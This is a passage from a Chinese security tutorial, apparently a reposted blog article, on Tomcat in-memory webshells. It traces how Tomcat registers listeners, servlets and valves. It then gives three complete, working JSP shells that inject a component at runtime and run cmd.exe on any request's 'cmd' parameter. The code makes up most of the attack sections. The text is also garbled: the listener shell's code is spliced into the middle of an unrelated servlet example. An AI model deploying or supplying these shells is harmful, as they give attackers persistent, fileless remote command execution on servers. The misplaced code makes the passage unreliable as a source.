public class HelloListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("invoke ServletRequestListener requestDestroyed!");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("invoke ServletRequestListener requestInitialized!");
    }
}

修改web.xml,添加listener配置

<listener>
    <listener-class>org.example.listener.HelloListener</listener-class>
</listener>

5.3 Listener流程分析

在自定义的requestInitialized处下断点
函数调用栈如下:

requestInitialized:14, HelloListener (org.example.listener)
fireRequestInitEvent:5663, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:673, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:389, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

在StandardHostValve的invoke方法中


进入StandardContext的fireRequestInitEvent方法


在这个方法中调用listener的requestInitialized方法
需要考虑两个问题,第一:instances怎么来的?第二:requestInitialized方法中的参数event怎么来的?
第一个问题:在fireRequestInitEvent方法中,第一行就是获取instances,如下

Object instances[] = getApplicationEventListeners();

查看此函数

@Override
public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

所以listener存放在applicationEventListenersList属性中,所以在StandardContext中找到能够向applicationEventListenersList添加listener的方法
方法1:

/**
 * Add a listener to the end of the list of initialized application event listeners.
 *
 * @param listener The listener to add
 */
public void addApplicationEventListener(Object listener) {
    applicationEventListenersList.add(listener);
}
方法2:

/**
 * {@inheritDoc} Note that this implementation is not thread safe. If two threads call this method concurrently, the
 * result may be either set of listeners or a the union of both.
 */
@Override
public void setApplicationEventListeners(Object listeners[]) {
    applicationEventListenersList.clear();
    if (listeners != null && listeners.length > 0) {
        applicationEventListenersList.addAll(Arrays.asList(listeners));
    }
}

第二个问题:event如何构造?在fireRequestInitEvent方法中由如下代码构造

ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request);

5.4 Listener内存马

listenMemshell.jsp:

 

先访问listenMemshell.jsp生成内存马,然后访问任意路径,加上cmd参数即可命令执行

6. Servlet

6.1 例子

创建HelloServlet类

package org.example.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(value = "/hello", name = "hello")
public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
<%--
  Created by IntelliJ IDEA.
  User: Dili
  Date: 2023/9/19
  Time: 14:41
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%!
    public class MyListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null) {
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")}).getInputStream();
                    Scanner scanner = new Scanner(in).useDelimiter("\\A");
                    String out = scanner.hasNext()?scanner.next():"";
                    Field requestFiled = req.getClass().getDeclaredField("request");
                    requestFiled.setAccessible(true);
                    Request request = (Request) requestFiled.get(req);
                    request.getResponse().getWriter().write(out);
                } catch (Exception e) {}
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {

        }
    }
%>

<%
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
    Request req = (Request) reqField.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listener = new MyListener();
    context.addApplicationEventListener(listener);
%>

        System.out.println("doget");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
        System.out.println("dopost");
    }
}
web.xml中添加配置
<servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>org.example.servlet.HelloServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

在doGet方法下断点,调试
函数调用栈:

doGet:15, HelloServlet (org.example.servlet)
service:502, HttpServlet (javax.servlet.http)
service:596, HttpServlet (javax.servlet.http)
internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilter:17, HelloFilter (org.example.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:167, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:673, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:389, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

6.2 分析

在StandardContext中,与servlet相关的有这两个属性:
children:


servletMappings:

查看实现类ApplicationContext中的addServlet方法

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet,
        Map<String, String> initParams) throws IllegalStateException {
    // servlet不能为空
    if (servletName == null || servletName.equals("")) {
        throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", servletName));
    }

    // TODO Spec breaking enhancement to ignore this restriction
    checkState("applicationContext.addServlet.ise");
    // 根据name在context的children中获取对应的Wrapper
    Wrapper wrapper = (Wrapper) context.findChild(servletName);

    // Assume a 'complete' ServletRegistration is one that has a class and
    // a name
    // 如果不存在对应的Wrapper,就创建一个
    if (wrapper == null) {
        wrapper = context.createWrapper();
        wrapper.setName(servletName);
        context.addChild(wrapper);
    } else {
        if (wrapper.getName() != null && wrapper.getServletClass() != null) {
            if (wrapper.isOverridable()) {
                wrapper.setOverridable(false);
            } else {
                return null;
            }
        }
    }

    ServletSecurity annotation = null;
    if (servlet == null) {
        // 设置servletClass
        wrapper.setServletClass(servletClass);
        Class<?> clazz = Introspection.loadClass(context, servletClass);
        if (clazz != null) {
            annotation = clazz.getAnnotation(ServletSecurity.class);
        }
    } else {
        // 设置servletClass
        wrapper.setServletClass(servlet.getClass().getName());
        wrapper.setServlet(servlet);
        if (context.wasCreatedDynamicServlet(servlet)) {
            annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
        }
    }

    if (initParams != null) {
        for (Map.Entry<String, String> initParam : initParams.entrySet()) {
            wrapper.addInitParameter(initParam.getKey(), initParam.getValue());
        }
    }

    //创建AoolicationServletRegistration对象并返回
    ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, context);
    if (annotation != null) {
        registration.setServletSecurity(new ServletSecurityElement(annotation));
    }
    return registration;
}

然后在ApplicationServletRegistration的addMapping中

@Override
public Set<String> addMapping(String... urlPatterns) {
    if (urlPatterns == null) {
        return Collections.emptySet();
    }

    Set<String> conflicts = new HashSet<>();

    for (String urlPattern : urlPatterns) {
        String wrapperName = context.findServletMapping(urlPattern);
        if (wrapperName != null) {
            Wrapper wrapper = (Wrapper) context.findChild(wrapperName);
            if (wrapper.isOverridable()) {
                // Some Wrappers (from global and host web.xml) may be
                // overridden rather than generating a conflict
                context.removeServletMapping(urlPattern);
            } else {
                conflicts.add(urlPattern);
            }
        }
    }

    if (!conflicts.isEmpty()) {
        return conflicts;
    }
    // 向context中添加URL和对应的wrapper
    for (String urlPattern : urlPatterns) {
        context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), wrapper.getName());
    }

    if (constraint != null) {
        context.addServletSecurity(this, constraint);
    }

    return Collections.emptySet();
}

这个方法调用了StandardContext的addServletMappingDecoded方法,添加URL路径与Wrapper对象的映射

@Override
public void addServletMappingDecoded(String pattern, String name, boolean jspWildCard) {
    // Validate the proposed mapping
    if (findChild(name) == null) {
        throw new IllegalArgumentException(sm.getString("standardContext.servletMap.name", name));
    }
    String adjustedPattern = adjustURLPattern(pattern);
    if (!validateURLPattern(adjustedPattern)) {
        throw new IllegalArgumentException(sm.getString("standardContext.servletMap.pattern", adjustedPattern));
    }

    // Add this mapping to our registered set
    synchronized (servletMappingsLock) {
        String name2 = servletMappings.get(adjustedPattern);
        if (name2 != null) {
            // Don't allow more than one servlet on the same pattern
            Wrapper wrapper = (Wrapper) findChild(name2);
            wrapper.removeMapping(adjustedPattern);
        }
        // 这里
        servletMappings.put(adjustedPattern, name);
    }
    Wrapper wrapper = (Wrapper) findChild(name);
    wrapper.addMapping(adjustedPattern);

    fireContainerEvent("addServletMapping", adjustedPattern);
}

通过这个方法在servletMappings中添加URL路径与name的映射

6.3 Servlet内存马

servletMemshell.jsp:

<%--
  Created by IntelliJ IDEA.
  User: Dili
  Date: 2023/9/19
  Time: 18:43
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<% class MyServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if(req.getParameter("cmd") != null) {
            InputStream in = null;
            try {
                in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")}).getInputStream();
                Scanner scanner = new Scanner(in).useDelimiter("\\A");
                String out = scanner.hasNext()?scanner.next():"";
                resp.getWriter().write(out);
            } catch (Exception e) {}
        }
    }

    @Override
    public void destroy() {
        super.destroy();
    }
}
%>

<%
    try {
        String myServletname = "myServletShell";

        // 获取应用程序上下文对象(ApplicationContextFacade)
        ServletContext servletContext = request.getSession().getServletContext();

        if(servletContext.getServletRegistration(myServletname) == null) {
            // 获取ApplicationContext
            Field applicationContextField = servletContext.getClass().getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

            // 获取StandardContext
            Field standardConextField = applicationContext.getClass().getDeclaredField("context");
            standardConextField.setAccessible(true);
            StandardContext standardContext = (StandardContext) standardConextField.get(applicationContext);

            // 创建自定义的servlet
            MyServlet myServlet = new MyServlet();

            // 使用Wrapper封装Servlet
            Wrapper wrapper = standardContext.createWrapper();
            wrapper.setName(myServletname);
            wrapper.setServletClass(myServlet.getClass().getName());
            wrapper.setServlet(myServlet);

            // 向standardContext中的child添加wrapper
            standardContext.addChild(wrapper);

            // 向servletMappings中添加
            standardContext.addServletMappingDecoded("/myservlet", myServletname);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
%>

7. Valve

7.1 简介

Tomcat中定义了两个接口,分别是Pipeline(管道)和Valve(阀),参考一张图:


如上图所示,Tomcat每个层级的容器()都维持一个管道(Pipeline示例),在ContainerBase中实例化了一个PipeLine对象,而如StandardContext这些类继承ContainerBase类

protected final Pipeline pipeline = new StandardPipeline(this);

而且在每个层级的容器中,都有基础的Valve,如StandardHostValve、StandardEngineValve、StandardContextValve、StandardWrapperValve,都继承了ValveBase基础类,它们位于各容器管道的最后一个位置(即图中的basic位置),并且在invoke方法中,都存在获取下一个管道并且调用下一个管道第一个阀门的代码

ValveBase类继承了Valve接口,这个类实现了生命接口及MBean接口

Pipeline接口:


Valve接口:

7.2 例子

HelloValve类:

package org.example.valve;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;

public class HelloValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        System.out.println("yes");
    }
}

Tomcat中的server.xml配置:

<Valve className="org.example.valve.HelloValve" />

7.3 Valve内存马

valveMemshell.jsp:

<%--
  Created by IntelliJ IDEA.
  User: Dili
  Date: 2023/9/22
  Time: 23:12
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%!
    public class ValveShell extends ValveBase {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            if(request.getParameter("cmd") != null) {
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", request.getParameter("cmd")}).getInputStream();
                    Scanner scanner = new Scanner(in).useDelimiter("\\A");
                    String out = scanner.hasNext()?scanner.next():"";
                    response.getWriter().write(out);
                } catch (Exception e) {}
            }
        }
    }
%>

<%
    ServletContext serverContext = request.getSession().getServletContext();
    Field applicationContextField = serverContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(serverContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    ValveShell myValveShell = new ValveShell();
    standardContext.getPipeline().addValve(myValveShell);

%>

9. 总结

本文对涉及的代码进行了逐行阅读,重要部分也加上了注释。由于篇幅原因,Valve部分没有详细描述,原理相似。在学习内存马之前没有深入理解过Tomcat底层的原理,包括脚本启动、初始化类加载器、解析文件、启动组件等,这些前置知识很重要,详细后续再更新..

10. 参考

JavaWeb 内存马一周目通关攻略

原文链接:https://xz.aliyun.com/t/13024

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值